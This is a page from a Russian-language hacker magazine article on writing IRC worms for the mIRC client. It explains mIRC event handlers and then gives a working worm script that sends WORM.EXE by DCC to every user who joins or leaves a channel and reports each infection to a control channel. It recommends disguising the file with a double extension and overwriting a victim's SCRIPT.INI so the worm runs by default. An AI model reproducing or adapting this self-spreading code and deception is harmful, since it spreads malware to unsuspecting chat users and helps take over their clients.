|

IRC-вирусы
Xakep, номер #021, стр. 021-060-3
Вернемся к первой строке и разберем, как записывается обработчик события.
ON 1: EVENT : [PARAM] { * }
1 - обозначает уровень доступа, на котором исполняется код. Для наших целей вполне хватит единицы.
EVENT - это название события, которое мы хотим обработать.
PARAM - дополнительные параметры, которых может и не быть. В любом случае, для каждого события они свои.
{ * } - код, который будет выполнен, когда произойдет указанное событие.
Основных событий не очень много:
CONNECT - происходит, когда mIRC пытается связать с IRC-сервером.
JOIN - срабатывает, когда любой пользователь заходит на какой-то из каналов.
PART - обратный к JOIN, он срабатывает, когда любой пользователь покидает канал.
TEXT - при получении сообщения.
OP - пользователь получает статус Оператора канала. (Оп'а)
Заметь, что команды из консоли в IRC-клиенте вызывают как "/command", а в скрипте пишутся как ".command" - точка, потом имя команды. Теперь мы в силах немного оптимизировать и дописать червяка:
[Script]
n0=on 1:join:#: { if ( $ n i c k != $me ) .dcc send $ n i c k WORM.EXE }
n1=on 1:part:#: { if ( $ n i c k != $me ) .dcc send $ n i c k WORM.EXE }
n2=on 1:connect: { .msg #WORMagentX Infected $ n i c k is connecting to IRC... }
Первые две строчки срабатывают, когда кто-то, кроме пользователя, заходит или покидает канал, отсылая всем приходящим и уходящим свои копии. Естественно, чтобы пользователь принял копию, стоит назвать ее как-нибудь получше: MySexyPicture.JPG.EXE, к примеру. Впрочем, все это старые избитые трюки. Но и тут есть одна прикольная фича у старых mIRC'ов - все входящие файлы они складывают в свой каталог (к примеру, в C:\mIRC\). Там же лежат и все инициализационные файлы, скрипт-файлы и, следовательно, SCRIPT.INI, который содержит юзерские скрипты. Из SCRIPT.INI скрипты выполняются по умолчанию! И если послать юзеру свой собственный SCRIPT.INI, снабдив его вирусом-червяком, и юзер его примет, то его собственный SCRIPT.INI будет перезаписан и (але-оп!) без лишних усилий лама получает червяка в качестве бесплатного плагина к своему любимому mIRC. Еще вариант - рассылать *.DOC файлы с внедренным макро-вирусом, который запишется еще и в mIRC-скрипт, или вообще снабженный OLE-связкой... но это уже совсем другая история. А мы вернемся к скриптам, чтобы покайфовать вдоволь над уже пораженным юзером.
Назад на стр. 021-060-2 Содержание Вперед на стр. 021-060-4
|